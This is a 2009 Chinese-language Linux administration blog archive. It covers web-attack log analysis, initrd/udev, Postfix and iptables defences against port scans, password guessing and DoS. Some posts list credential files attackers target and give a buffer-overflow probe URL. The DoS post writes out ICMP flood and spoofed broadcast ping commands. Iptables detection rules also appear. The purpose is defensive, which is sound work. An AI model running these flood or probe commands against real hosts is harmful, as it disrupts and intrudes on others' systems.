當用戶登陸進unix系統中出現的資訊,就在這個"Message of the Day" 檔中 ,它提供重要的系統資訊和管理員對用戶的一些設置,那些是希望用戶看到的,那些不是,還含有系統的版本資訊,攻擊者通常查看此檔,瞭解是什麼系統在運行, 對攻擊者來說,下一步是搜索這種類型的系統的exploit,進一步獲得系統特權

"/etc/hosts"

該檔提供ip位址和網路資訊,攻擊者可以瞭解更多的系統中的網路設置

"/usr/local/apache/conf/httpd.conf"

這是個Apache web伺服器的配置檔,攻擊者可以瞭解諸如cgi,ssi是否可訪問等資訊

"/etc/inetd.conf"

這是inetd服務的配置檔,攻擊者可以瞭解遠端機器上的那些服務啟動,是否用了wrapper進行訪問控制,如果發現wrapper 運行著,攻擊者下一步會檢查"/etc/hosts.allow" 和 "/etc/hosts.deny",文件,並可能會更改裡面的一些設置,獲得特權

".htpasswd, .htaccess, and .htgroup"

這些檔通常在web站點用於對用戶身份進行認證,攻擊者會查看這些檔,並獲得用戶名和密碼,密碼檔.htpasswd被加密過,通過一些簡單的破解程式進行解密,使攻擊者訪問站點中被保護的區域(通常用戶用和用戶名相同的密碼,以至攻擊者可以以其他帳號進行訪問)

"access_log and error_log"

這些是apache伺服器的日誌記錄檔,攻擊者常會查看這些檔,看那些請求被記錄,那些和其他請求不同的地方
通常,攻擊者會修改這些日誌檔,比如他自身的位址資訊,攻擊者通過80埠突破你的系統,而你的系統又沒有進行備份的工作,也沒有其他記錄程式記錄系統狀況,這將使入侵檢測工作變的很困難

"[drive-letter]:winntrepairsam._ or [drive-letter]:winntrepairsam"

Windows NT系統中的密碼檔,如果遠端命令不可以執行,通常攻擊者會請求這些檔,然後通過"l0pht crack"之類的密碼破解工具進行破解,如果攻擊者試圖攻擊administrator的密碼檔,如果成功那麼遠端機器將被攻擊者得到控制權

[溢出 分析]
我不會在這篇文章中說過多的關於溢出的話題,我將舉列說明那些現象和痕跡值得注意和特別關注的地方,緩衝攻擊常被攻擊者通過編碼轉換和其他途徑來達到不易發現
下面是個簡單的列子
Example:

http://host/cgi-bin/helloworld?type=AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA

這個列子展示了攻擊者對某個應用程式發送很多的A字元,來測試程式的緩衝溢出,緩衝溢出可以獲得遠端主機的命令執行許可權,如果是具有 setuid和屬主為root的程式,通過溢出,可以得到整個系統的訪問許可權,如果不是setuid之類的程式,那麼溢出僅僅是得到運行該web站點的 用戶許可權
這裡並不能講述所有的情況,不過你應該有定時的檢查你的日誌檔,如果那一天突然發現很多的請求,而平時的請求不多,那麼說明你正遭受到溢出的攻擊,當然也可能是一種新的網路蠕蟲的攻擊

[編碼轉換]
以上提及的所有攻擊請求,攻擊者通常知曉IDS系統常會機械的檢查這些請求,通常是攻擊者會用編碼轉換工具將所請求的內容轉化成16進制的格式, 導致IDS會忽略這些請求,我們熟知的CGI漏洞掃瞄工具Whisker就是個很好的列子。如果你在查看日誌的時候發現大量的16進制和不常見的一些字 元,那麼可能攻擊者嘗試用一些方式對你的系統進行攻擊
一種快速發現的方法是,將你的日誌檔中的那些16進制的請求,拷貝到你的流覽器中,通過流覽器可以轉化成正確的請求,並顯示出來請求的內容,如果你不敢冒這個危險,簡單的man ASCII,可以提供給你正確的編碼。

[結論]
這篇文章不可能覆蓋所有的80埠的攻擊,但是以上已經列舉了大部分普遍的攻擊方式,同時告訴你如何檢查你的日誌檔,和怎樣加如一些IDS的規則, 寫她的目的在於給web系統管理員應該關注什麼提供一個好的思路,同時,我也希望這篇文章可以幫助給web程式的開發者寫出更好的web程式

作者註:如果你有什麼註解和建議,請發電子郵件
niska@21cn.com

http://bbs.ccidnet.com/showthread.php?threadid=207099

/dev、/sys跟udev

過去設備檔案大多放在/dev底下,所以ls /dev總是有很多的設備檔案,不管是用得到的,用不到的都放在下面,實在管理上面有好些麻煩,再者plug and play的裝置太多,這樣的設計已經不合時宜,所以開發出了外一套的管理方式就是udev跟sys
sys主要就是把設備有規律的管理起來,使用樹狀結構,跟udev配合起來有幾項優點
  • /sys將只有呈現使用中的設備
  • 不需要major/minor number
  • 可以自行定義高可讀性的名稱,比方把eth1改為NAT_out_card
  • 可以再新增硬體的時候執行相對應的script
讀取相關資訊
udevinfo -ap /sys/class/net/eth1
定義的script存在/etc/udev/rules.d內

2009年12月9日

記憶體使用的疑問?free vs 系統監控

在使用系統監控跟free指令的時候,明顯的記憶體耗用不一樣,free顯示記憶體幾乎"一去不回頭"

只好問問google囉,然後看看網路上的"傳說"(傳說中拔到獅子的鬃毛...)
不同的 process 是可以 share memory 的,
因此把所有 process 的記憶體用量加起來會大於或等於實際記憶體的用量

此外 Linux 核心似乎會常會看到有不少 buffer,也就是說 process 執行時原先
要了一些記憶體來使用,在釋放記憶體時不會直接釋放而是先作為buffer除非
其他的 process 需要用到記憶體才會將 buffer 釋放,然後交給其他 process使用

Sun Solaris 就比較少有這種狀況, buffer通常不會吃得像Linux那麼誇張

不過老實說,我對這樣的說法還不確定,還有就是這現象存疑,到底分別是抓哪個的資料造成這樣的不同??

initrd中的init script

init script不是init process,他是initrd中執行的一個script,做一些很重要的工作,使用的是nash這個shell,好處大概就是小、快,但功能有限。init script執行了底下的工作
  1. 掛載系統檔案
  2. 建立設備(device)所需要的檔案系統
  3. 初始化設備檔案
  4. 載入相關模組
  5. 切換到作業系統
掛載系統檔案
init會掛載/proc/sys,/proc主要放置執行跟一些硬體的資訊,比方說process info或者cpuinfo 。 /sys在2.6後產生的,主要是對付設備(/dev)檔案混亂跟處理過去procfs放了太多資料,還有hotplug的設備
建立設備(device)所需要的檔案系統
會產生/dev/pts/dev/shm/dev/mapper這三個目錄
初始化設備檔案
內有產生很多設備檔案的script,比方說
mknod /dev/null c 1 3
mknod /dev/zero c 1 5
...
載入相關模組
會看到很多
...
echo "Loading ext3.ko module"
insmod /lib/ext3.ko
echo "Loading scsi_mod.ko module"
insmod /lib/scsi_mod.ko
...
載入一些預設的硬體裝備的driver
切換到作業系統
最後是chroot跟switchroot

2009年12月8日

Linux是玩家在玩的作業系統[宿命]!?

接觸了linux這許多年之後,我開始真的認為Linux真的會變成玩家在玩的系統,因為他跟M$不大一樣,很多細節需要去瞭解,因為瞭解,慢慢地就開始愈陷愈深,然後講到比較艱深的地方的時候,許多一般使用者就跟不上,然後把linux的人當作玩家
不知道我是否沒接受過M$的教育訓練的關係,我並不知道如何去加速M$的開機速度,我也不知道M$底下到底開了多少服務,反觀因為在網路上搜尋跟書本上學習的結果,我相對對linux比較有把握,真的認為open source真的很好,可以掌握的地方比較多

M$把所有的東西包起來,簡單的跟使用者說,你都不需要懂啦,只要會用就好,好像跟一般人說你只要會開車就好,剩下的有問題請回原廠,車子還好,大多問題回原廠可以解決,可是電腦很多會說~硬體廠商(比方說電視卡)說你這是作業系統的問題,M$說你這是電視卡驅動程式的問題,這真的比較好嗎?
linux是open source,所以大家遇到無法解決的問題的時候,會去打開引擎蓋來看看,東修理西動動的,這樣就被冠上了"黑手"/玩家的稱號了,久了大家也認為玩linux的大多是玩家

我覺得M$與linux都存在著矛盾,M$認為使用者不需要瞭解太多,然後他也權限全開,讓一大堆病毒跟木馬很容易入侵,真真的安全或者容易使用真的應該是來自使用者的自覺跟瞭解,就像是一般人不會認為開車應該是與生俱來的技能一樣,他們會去上補習班,會去學習才是對的。
linux覺得我已經弄得很好了,也open source了,請大家有問題自己去改吧,一般使用者沒有太大的能力去改變一些東西,這樣的方式會讓他們覺得這東西很難使用,因為這關係讓他們不會深入去學習這開放的系統

最後來說,在設計理念、學習理解和使用者的認知,三者之間的力道拉扯,造就了現在這種狀況,我想短時間內,真的linux還是玩家在玩得系統

initrd

從之前提到的開機程序得知,grub會載入kernel,接著kernel會載入initrd這個檔案,在過去2.4他可能是個image file,或者現在的壓縮檔案
kernel會在記憶體中開啟一塊rootfs空間,再把initrd mount在這rootfs上,initrd會去載入一些kernel
事先沒有載入的檔案,比方說硬碟的驅動程式
initrd會建立一些目錄架構,跟著也會建立/dev,他用來存放設備檔案,/lib目錄用以存放一些module,接著還會載入很重要的init
如果有一些關於module的觀念就會知道,module可以藉由modprobe來載入,可是一般modprobe的時機是在作業系統載入之後,如果必須要在開機的時候就用到的還是必須修改initrd來達成

Fedora
在fedora自行製作initrd使用mkinitrd指令,如果預設使用mkinitrd,將會依照/etc/modprobe.conf (2.4使用/etc/modules.conf)去搜尋module,由/etc/fstab決定要掛載的directory

再使用mkinitrd之前必須確定,modules已經放到/lib/modules底下正確的位置
mkinitrd --with=ntfs initrd_new.img 2.6.18-1.2798.fc6
cp initrd_new.img /boot
vim /boot/grub/grub.conf
其實最後一步驟是修改grub的設定,將載入的initrd變成我們編譯出來的檔案,grub2或許會有些不同

Ubuntu
ubuntu早期也是使用mkinitrd,目前已經取代為initrd-tools內的工具,工具程式為mkinitramfs,將要載入的modules放到/lib/modules相對應的位置(依照kernel版本位置不大一樣),然後將要載入的module名稱增加到/etc/initramfs-tools/modules內,其他設定在/etc/initramfs-tools/initramfs.conf內最後執行
mkinitramfs -o /boot/initrd.img-2.6.12-9-386 /lib modules/2.6.12-9-386
剩下就是拷貝initrd到/boot下跟修改grub設定
可以參考範例

2009年12月7日

init process

這個process是核心載入之後第一個執行的process,一般他的PID為1,init會指引其他流程,尤其是執行/etc/rc.d/rc.sysinit,大致的流程如下

以fedora為例,rc.sysinit做了哪些事情呢?
  • /etc/sysconfig/network:網路設定
  • /proc/mounts:檢查主要系統檔案是否存在
  • /proc/bus/usb:usb drivers
  • /etc/init.d/functions:一個很重要的script,裡面有很多的環境變數跟設定
  • /etc/selinux/config:selinux設定值
  • /sbin/setsysfont:設定基本的字形
  • /etc/sysconfig/clock:系統時間
  • /bin/dmesg:系統訊息
  • sysctl:設定一些module所需要的值,後面才會載入module
  • /bin/taskset:設定cpu
  • /sbin/start_udev、/etc/rc.modules:載入modules
接著是GUI等等的相關階段,跟著有其他的工作
  • /dev/pts:產生第一個tty介面
  • sysctl:主要是一些/proc/sys下的開關(on/off)值的設定
  • /etc/sysconfig/keyboard:設定鍵盤
  • /etc/mdadm.conf:software RAID(如果沒有用到就沒有)
  • /dev/mapper:LVM機制,同上
  • /ect/crypttab:啟動區塊加密機制
  • /fastboot、/fsckoptions、/forcefsck、/.autofsck、/etc/sysconfig/autofsck:檢查磁碟動作
  • /etc/sysconfig/readonlyroot:是否將root dir設定為唯讀
  • ipaddr:啟動網路
  • /sbin/quotacheck:檢查disk quota
  • mount /:將root dir重新mount為read/write
  • restrecon:
  • /etc/mtab:
  • /sbin/quotaon:打開quota功能

  • /usr/bin/rhgb:
  • /.unconfigured:
接下來會清除一些產生出來的檔案跟lock
  • rm files:刪除由.unconfigured跟fsck產生的檔案
  • /var:刪除/var/lock跟/var/run下檔案,有些存在/var下
  • /tmp:刪除lock檔案
接著可能啟動x-win的相關事宜跟相關設定
  • /tmp/.ICE-unix:產生x-win所需的目錄
  • blkid:啟動swap
  • /usr/sbin/system-config-network-cmd:開機網路設定
  • dmesg:寫入訊息
  • /.autofsck:
  • /usr/bin/rhgb-client:
大致上rc.sysinit至此告一段落,由inittab開始決定執行那個run level

2009年12月6日

postfix mail server -- 加入認證

需要額外安裝cyrus-sasl,並且在/etc/main.cf內加入以下設定
smtpd_sasl_auth_enable = yes
smtpd_sasl_security_options = noanonymous
smtpd_sasl_local_domain = $myhostname
smtpd_recipient_restrictions = permit_mynetworks, permit_auth_destination, permit_sasl_authenticated, reject
加上上次的設定,這樣一來才不會隨便的relay跟讓人可以隨意使用mail server,必須要有帳號密碼才可以,無意間變成垃圾信主機可是會惹上麻煩的

2009年12月5日

google提供DNS Service

http://code.google.com/intl/zh-TW/speed/public-dns/
兩台主機
  • 8.8.8.8
  • 8.8.4.4
號稱可以增加安全性的理由
http://code.google.com/intl/zh-TW/speed/public-dns/docs/security.html

postfix mail server

先在/etc/named.conf下新增對應的domain,比方說
...
zone "sky.com"{
type master;
file "named.sky.com";
};
...
/var/named/chroot/var/named/新增檔案named.sky.com,並且加入MX紀錄
安裝postfix完畢後可以修改/etc/postfix/main.cf內的參數,這些參數散在各行之間
mydomain=sky.com
myhostname=mail.sky.com
myorigin=$mydomain
mynetworks=192.168.217.0/24,127.0.0.0/24
inet_interfaces=all
mydestination=$myhostname, localhost,$mydomain,localhost
home_mailbox=Maildir/
  • mydomain:網域名稱
  • myhost:mail server主機名稱
  • myorigin:來源名稱(對其他MTA)
  • networks:表示信賴的以及幫忙relay信件的網域
  • inet_interfaces:表示監控的internet的介面卡/網路卡
  • home_mailbox:儲存mail的地方,如果不設定預設為/var/spool/mailbox,這裡的意思是把mailbox送到各個使用者的家目錄下
重新啟動postfix之後就可以用smtp protocol收發信了


為了讓使用者可以透過pop3或者imap做收發信的動作,需另外安裝dovecot套件
修改/etc/dovecot.conf
取消兩處註解
protocols = imap imaps pop3 pop3s
mail_location = maildir:~/Maildir
重新啟動server

防火牆 -- iptables幫IIS一把

IIS常常可以接受命令格式,然後就去執行系統程式,這些系統程式大多放在system32下
iptables -A FORWARD -i eth0 -o eth1 -p tcp -d $IIS_IP --dport 80 -m string --algo bm --string "system32" -j DROP

2009年12月4日

[轉載]十大優秀開源網絡管理工具

http://hi.baidu.com/dontcry/blog/item/dcafcebf18a0b10d18d81f7b.html
十大優秀開源網絡管理工具

2008-11-21 12:37

很多網絡界的朋友都不得不面臨一個抉擇,那就是在網絡系統搭建起來後,選擇哪一款網絡管理軟件?目前網絡管理軟件太多了,支持的系統也是五花八門,我用過MRTG,PRTG和OpenNMS,都是免費的,交費的用不起呀!

所以,希望轉載的這篇文章對大家會有所幫助,祝你們找到自己的喜愛!

---------------------------------------------------------------

如 果您的公司排名在Fortune 1000強和中小企業之間,那麼您網絡管理的選擇形勢看似比較嚴酷。你既不能在小市場上收集一堆拙劣的玩意來組成一個解決方案;你也不能花很多錢買一些真 正不需要的高科技產品。這裡有一個很好的選擇:試用可一個開源的網絡管理方案,加專業服務,包括開發和技術支持。

Open Source = Flexible 開源=靈活性

一個開源的解決方案對廠商來說也是非常靈活性的,他們很快地增加新技術的支持,比改進一個私有系統更快。例如:當Ubuntu 7.04 「Fiesty Fawn」四月份發佈之後, Hyperic HQ在發佈的第二天就宣佈了對其提供技術支持。

當談到開源的網絡管理方案時,公司最需要也用的最多的技術莫過與監控功能。不過監控技術在很大程度上已經變成了日用品。

通常的,專業化版本的開源IT管理軟件平台集成多個其他開源項目在一個框架中,像Nagios網絡監控等;並且加入統一的網絡界面;並且提供技術支持服務。另外,他們都想通過強大的社區來提高和改進代碼,跟蹤bug等。

六個企業級平台

下面的六個開源IT管理都可能用作HP, IBM, CA 和 BMC大型管理套件的替代品。每一個都能提供低價的專業服務和免費軟件下載。它們的不同支持在與所提供的功能和支持的操作系統

Quest Big Brother
http://www.quest.com/bigbrother/

這 個Web-based系統和網絡監控產品能支持 Windows, Unix 和Linux等操系統, 還有一個通過用戶投稿形成的腳本知識庫,利用它能容易地定製Big Brother取管理你的網絡。它的GUI是一個不錯的特色,使用相同的顏色代碼;紅色代表不好,綠色代表好。

GroundWork Open Source Monitor Professional
http://www.groundworkopensource.com/dow ... nload.html

2004 年發佈,它是最早的企業級網絡管理產品之一。它集成了超過100種最好的開源項目,包括Nagios, Apache 和 NMap, 在這個框架之上有添加了很多特有功能,例如Web-based用戶界面等。Monitor提供了集中化的監控和管理,管理和監控你的企業網絡,包括 Linux, Unix 和Windows 服務器, 應用, 數據庫和網絡設備。

Hyperic HQ Enterprise
http://www.hyperic.com/downloads/

瞄準的是一個數據中心,Hyperic被設計為去監控和管理Web應用的所有層次, 包括硬件、中間件、虛擬化、Web和開放式應用。它還提供基線和趨勢分析。它支持 Apache, JBoss, Linux和更多應用。

OpenNMS
http://blog.chinaitlab.com/option=com_f ... mid=1.html

這個 Java-based 網絡管理工具專注於網絡服務輪詢,數據採集和事件/告警管理。它目前支持多種開放式操作系統,包括Linux, Mandrake 和Solaris,還有Mac OS X; Windows 系統的支持計劃在OpenNMS 2.0中實現。

OpenQRM
http://www.openqrm.org/

也瞄準了數據中心的管理,OpenQRM不僅能管理數以千計的Linux和Windows服務器,還能跟蹤計量你的數據中心的使用率和效率。 他還能做自動化基於策略的provisioning。它也集成了Nagios作為監控功能。

Zenoss Core
http://www.zenoss.com/product/

基本上都是Python寫的,這個管理平台提供了服務器、網絡設備、OS和應用的事件管理、可用管理、和性能管理。Zenoss 能運行於Linux, FreeBSD 和 Mac OS X;它也可以作為一個Zenoss 虛擬應用運行在VMplayer 裡。


四個無支持的項目

這四個項目位於TOP10 開源網絡管理工具中。不像那六個產品,它們不提供商業的服務和企業級的增強功能。但是它們是絕對的free,而且你可以擁有所有需要的網絡健康性檢查功能。

Nagios
http://www.nagios.org/

這是一個開源的運行在Linux操作系統上的主機、服務和網絡監控程序。

Just For Fun Network Management System (JFFNMS)
http://www.jffnms.org/

JFFNMS能監控標準的SNMP (Simple Network Management Protocol) 網絡設備,服務器、路由器和TCP端口。它工作在Linux, FreeBSD 和Windows 2000/XP。

Big Sister System and Network Monitor
http://www.bigsister.ch/

這個項目包括了real-time system 和network health monitor, 一個Web 應用框架和一個系統管理應用。

Netdisco
http://netdisco.org/

這個Web-based應用被設計為管理中道大型網絡和其中的SNMP網絡設備。

--------------------------------------------------------------

好吧,全文就完了,行動吧!

管理3.5G網路

其實這已經是很多人在問的問題,解決方案有幾個
  • 政策上明言禁止
  • 使用大哥大電波阻斷器
  • 封鎖電腦上面usb裝置或者在電腦上安裝禁止使用的軟體
  • 政策上給予替代手機方案

2009年12月3日

防火牆-iptables與阻擋Port Scan

只允許在長時間內建立有限的連線
iptables -A INPUT -p all -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p all -m state --state NEW -m recent --name posrtscan --update --second 600 --hitcount 10 -j DROP
iptables -A INPUT -p tcp --syn -m state --state NEW -m multiport --dports 22,25,80,110 -j ACCEPT
iptables -A INPUT -p all -m recent --name portscan --set
其實這方法有明顯缺點,並不是單一用戶不會在短時間內做出大量的連線的

2009年12月2日

防火牆 -- 阻擋砍站軟體

阻止類似HTTPTrk這類的軟體
iptables -I INPUT -p tcp --dport 80 -d SERVER_IP -m state --state NEW -m recent --name httpuser --set
iptables -A INPUT -m recent --update --name httpuser --seconds 60 --hitcount 9 -j LOG --log-prefix 'HTTP attack: '
iptables -A INPUT -m recent --update --name httpuser --seconds 60 --hitcount 9 -j DROP

2009年12月1日

使用telnet跟mail server溝通

其實telnet有時候可以提供一種簡單的模式讓我們來觀察架設的server是否良好運作,底下提供一個SMTP的mail server的例子,為了簡化,故意不採用認證密碼,也可以open rely,不過這個server是躲在防火牆後的VM,且用完就關閉了,所以可以這樣
[root@localhost]# telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 mail.sky.com ESMTP Postfix <=目前該mail server的地址
Helo godness.sky  <=隨便輸入domain
250 mail.sky.com
mail from:godness@sky <=隨便填寫來源
250 2.1.0 Ok
rcpt to:child@mail.sky.com <=直接寄信給某個人
250 2.1.5 Ok
DATA
354 End data with .
test~~~
.<=用單一行一個句點作結束
250 2.0.0 Ok: queued as 7869610638
QUIT
221 2.0.0 Bye
Connection closed by foreign host.

2009年11月30日

update-rc.d(Ubuntu/Debian) vs chkconfig(Fedora)

http://linux-cisco.blogspot.com/2008/11/debianrh.html
在fedora下的管理者常常使用chkconfig來設定如何在開機時啟動服務
ubuntu底下則是使用update-rc.d,但是還是稍微有點不同的

幫推ACFS Ubuntu

ACFS Ubuntu的起因,主要就是搞定中文環境跟一些預設的程式,讓使用者可以輕易上手吧
http://free.chc.edu.tw/free/viewthread.php?tid=608&extra=page%3D1
========================================================
ISO下載處:

http://163.23.113.10/~jls/ubuntu9.10/ACFS-1.1-Ubuntu-9.10-DeskTop-DVD-i386.iso

MD5 (ACFS-1.1-Ubuntu-9.10-DeskTop-DVD-i386.iso) = fab148ec8c772d799b802ddeafe5a9e8

大小 3.57 GB (3,835,586,560 位元組)
學生帳號 = stu 密碼 = stu123
老師帳號 = edu 密碼 = stu123

注意:請用Mozilla Firefox下載


安裝方式:

(一). WUBI 安裝 (最容易安裝) 雙系統 (支援 Windows 7 )
安裝步驟,參照以下連結:
(記得先停止網路,或拔除網路線,等一切安裝OK再插回網路線)

http://163.23.113.10/~jls/ubuntu9.04/wubi/

(二).直接複製到 C:\ 槽 (容易安裝) 雙系統
燒成DVD光碟,再將光碟資料全部拷貝到C:\之下(記得SATA或IDE排線位置要為(HD0)第一個)
最後在c:\boot.ini最下面加一行
c:\grldr="ACFS Ubuntu"
重開XP,您就會多一個
ACFS Ubuntu
選單

(三). USB 安裝 (容易安裝)
用ACFS LiveDVD 開機到桌面,登出後再以 edu 使用登入,
桌面上會有 "安裝到 USB 隨身碟 " 圖示,依照指示安裝


(四). 直安裝到硬碟 (較難安裝) 可雙系統
用ACFS LiveDVD 開機,選擇第二個 "安裝 ACFS Ubuntu 到您的系統上"
後依照指示安裝

防火牆-iptables與密碼攻擊(5)

因為總是有人安全防護做的不好,所以就變成了跳板,cracker就拿這些跳板吃飽沒事情就是進行網路的port scan或者密碼猜測(使用類似字典檔)的工作,反正對craker來說,這些資源不用錢,找到新的機器還可以打包一下賣錢orz
當然在進行密碼攻擊之前他們會先對機器做一些port scan,找出可以猜測密碼的服務,比方說pop3或者ssh。
對pop3可利用string的配合,當大量出現Authentication的錯誤字串的時候判定為密碼攻擊(比方猜錯十次)。
但是ssh因為加密了,如何辨識這樣的錯誤呢?只好繞路,以ssh retry的次數(在sshd_config加入MaxAuthTries,給定次數),接著追蹤syn封包進入的次數,最大iptables能在一段時間內容忍MaxAuthTries*the number of syns,兩者的乘積,比方說四次的syn連線,每次只能猜測密碼四次,如果在短時間內發生就是密碼攻擊
iptables -A INPUT -p tcp --syn --dport 22 -m recent --name ssh --update --second 600 --hitcount 4 -j DROP
iptables -A INPUT -p tcp --syn --dport 22 -m recent --name ssh --set
不過這樣的方式也有缺點,比方說如果你在十分鐘內建立了四個ssh連線就會達到連線的上限,這可能會為操作上帶來一些麻煩 ,除了程式設計師之外:P對一般的管理者比較沒關係Orz

2009年11月29日

防火牆-iptables對ICMP DoS(4)

DoS跟DDoS的一篇,大概描述了ICMP的DoS如何運作,知道他的原理就可嘗試利用防火牆來減低這樣攻擊的傷害
對ping broadcast的方式可以
iptables -A FORWARD -i eth0 -p icmp -m pkttype --pkt-type boradcast -j DROP
拒絕所有的ICMP broadcast要求

對於大型的ICMP封包可以用以下方式,只接受合法的92 bytes的ping封包
iptables -A INPUT -p icmp --icmp-type 8 -m length --length 92 -j ACCEPT
iptables -A INPUT -p icmp --icmp-type 8 -j DROP

對於小型眾多的ICMP封包可以用,只允許每分鐘六個封包,最多10
iptables -A INPUT -p icmp --icmp-type 8 -m limit --limit 6/m --limit-burst 10 -j ACCEPT
iptables -A INPUT -p icmp --icmp-type 8 -j DROP

其實DDoS或者DoS不能完全排除,只能求助於ISP業者,因為對外的頻寬一定會被佔據,上面的作法可以保持內部網路的順暢運作,卻無法防止外部資源的消耗

DoS and DDoS

從wikipedia解釋
分散式阻斷服務攻擊,亦稱為洪水攻擊,通常簡稱為DDoS或DoS,即英語「Distributed Denial of Service」的縮寫。顧名思義,即是利用網路上已被攻陷的電腦作為「喪屍」,向某一特定的目標電腦發動密集式的「拒絕服務」要求,藉以把目標電腦的網路資源及系統資源耗盡,使之無法向真正正常請求的使用者提供服務。駭客透過將一個個「喪屍」或者稱為「肉雞」組成殭屍網路(即Botnet),就可以發動大規模DDOS或SYN洪水網路攻擊,或者將「喪屍」們組到一起進行帶有利益的刷網站流量、Email垃圾郵件群發,癱瘓預定標的受僱攻擊競爭對手等商業活動。
最簡單的方式是sync flood的方式,透過3-way handshake的模式來消耗系統資源,不過另外有ICMP的模式,ICMP主要透過大量的ICMP封包攻擊某個區域或者電腦,舉例來說ping這個指令就可以攻擊,只要透過適當的來源位置偽裝
比方說ping -b 192.168.5.255,可以用單一封包要求該區段的網路回復該ping封包,如果填上假的來源位置,就可以讓某個區段的網路回傳一堆ICMP封包給該來源,進而達到ICMP的DDoS功能,這種攻擊的好處是不用大量的佔有主機就可以進行攻擊。其實現在的網路已經開始拒絕這樣的要求
其實ICMP進一步還有分別攻擊的方式,比方說ping -f -s 16384 192.168.5.222,對該主機傳送大量的大size的ICMP封包,進而達到癱瘓他網路流量的目的。另外一種ping -f -s 0 192.168.5.222,傳送一個幾乎只有標頭的ICMP封包,消耗該主機的cpu資源。上面兩種方式的特色是,攻擊者具有大量的頻寬或者cpu資源

2009年11月28日

Blogger換template

話說google提供的template實在是太少了,於是就想上網去找template
http://btemplates.com/
http://www.eblogtemplates.com/templates/blogger-templates/
http://blog.yalinfo.com/2009/01/blogger-template.html
教學
http://will.comze.com/how-to-use-btemplates/comment-page-1/

樣子都不錯,不過常常有些連結不知道跑哪去,還有就是換的時候要小心
它會讓你一堆已經安裝的小工具失效,失效不打緊,最重要的是...資料會不見(大哭)
我的好站連結就這樣不見了~~~~~~>.<~~~~~~~~

linux伺服器架設

其實用linux架設server,網路上的教學多如毛牛,只是把server架設起來其實不困難,困難的在於後面的維護跟事前的規劃,還有在企業中,網路架構往往不是說變就變的,會有許多的限制
在事先規劃,不是把所有的功能集中的linux server身上,比方firewall,當然linux可以多加幾片網路卡可以做到firewall的功能,可是相當的沒有必要,不如交給類似cisco之類這樣的專家廠商來做
需要幾台電腦?需要多長的網路線?要怎樣架設架構?要購買多少頻寬?要把server委外嗎?要怎樣備份?在在考驗一個MIS的能力
維護的地方,要怎樣分析log?有足夠的工具嗎?要怎樣統計流量?要怎樣做入侵防範?要怎樣擋掉垃圾信件?要怎樣維護伺服器的可用性?還有許多...
linux server的架設真的是MIS維護的冰山一角,當真是學海無涯~

QoS(轉載)

http://bbs.ice.cycu.edu.tw/gmore?P_KennyLin&F00009OH&9

探討Qos頻寬管理器-解決塞車,搶頻寬,取代IP分享器

------------------------------------------------------------------

頻寬管理器(英文簡稱Qos)

 主要特色是可分配每個人頻寬,或者使用軟體的頻寬,如此一來可以充分
 應用網路的頻寬,不會發生大家搶頻寬,造成塞車等等眾多問題。

1.是IP分享器的進階產品,
2.也可以取代IP分享器
3.可以解決塞車問題
4.可以針對每個IP分配頻寬
5.可以針對每個服務PORT分配頻寬
6.可以解決講SKYPE又上下載檔案時講話斷續問題.
7.可以解決多人共用線路搶頻寬搶到要幹架問題.
8.可以解決公司講VOIP或視訊會議時不會中斷或跳格問題
9..........

這是起頭,歡迎大家上來問問題,解答,陸續給予頻寬管理觀念,設備選擇等...

我願將我的實際經驗+百棟社區+企業+私人+15年軟體設計+電子係+9年網路
經驗.做公平的討論說明。

當您的線路有2個人以上共用分享時,其中有人會無法上網或非常的慢時怎麼辦?

通常的接法有以下二種:
1.您是用HUB接多台電腦,然後接用撥號計時的ADSL上網
2.您是用IP分享器(不論是計時的動態IP或固定IP)接多台電腦上網

這樣的方式只要有一個人用P2P軟體或大量下載或上傳大檔案時,95%以上會把頻
寬用掉,所以其他人就比較倒楣無法上網或其他網路應用有如龜速....

通常家中接二台電腦、宿舍、租屋、社區、甚至中小企業都會發生此問題.

這時頻寬管理器Qos就要上場了.而一般的IP分享器99%均無此功能.
所以建議大家不要從IP分享器尋找了答案,既使有也是簡單功能的Qos,只會浪費
您的更多時間.

下回繼續...

----------------------------------------------------------------------

有人提到測試問題的疑點特別說明一下:如果是2WAN ip分享沒Qos

要測試2wan機器線路是8m+2m,則上傳頻寬是640k+512k
不訪測試一下:用二台電腦各字寄出10MB的email(先決條件是對方線路頻寬要大於
640K,比如用hinet信箱寄出去.因為hinet頻寬夠大大大於640K.

寄信期間,第3-10台電腦再上網看看就會發生什麼事了.

1.前二台寄信的電腦同時搶第一條或第二條線路,其中一台會慢或很慢.
2.一台跑一線.二台跑二線.那麼第三台以上沒有頻寬了.速度會慢.....


當然還有
1.另外一種情形使用者都是好客戶,不是奧客,不操頻寬.
2.使用者塞車會有時不會在意,反正過段時間就好.
3.前二台如果自動被降速(Qos較有可能),表示被限制頻寬,其他電腦上網可以無礙.

最重要一點:ADSL的傳輸特性要瞭解一下

※有人提到BM26了,那我就大大說明一下.
 眾至BM系列、友旺BM系列、外銷機FW613等的上游
 〔新軟〕http://www.nusoft.com.tw/

 下次更精采...............待續

----------------------------------------------------------------------

這次先談談Qos的應用,讓大家明瞭一下,減少摸索時間:

一般分為:
1.企業使用型:
 上面幾篇文章較屬於這一型,各位可以用常理想一想,老闆用網路是為了公
 事,簡化作業流程,節省時間和成本,也經不起病毒駭客入侵,所以MIS系統一
停擺,公司的損失是很難估計的,同時更不希望上班利用網路做私人事
 情,更嚴禁使用p2p軟體。所以在網路的控管上,防火牆型的頻寬管理器更
 是重要,可以控管整個部門,主管,個人,在使用頻寬上就需要多功能型的
 Qos,就是可以控管每個人的IP,使用服務PORT,還有群組功能,可以使用哪
 些功能,那些功能不能用,用什麼功能時的頻寬要足夠。


2.社區寬頻,宿舍學生,家庭多台等型:
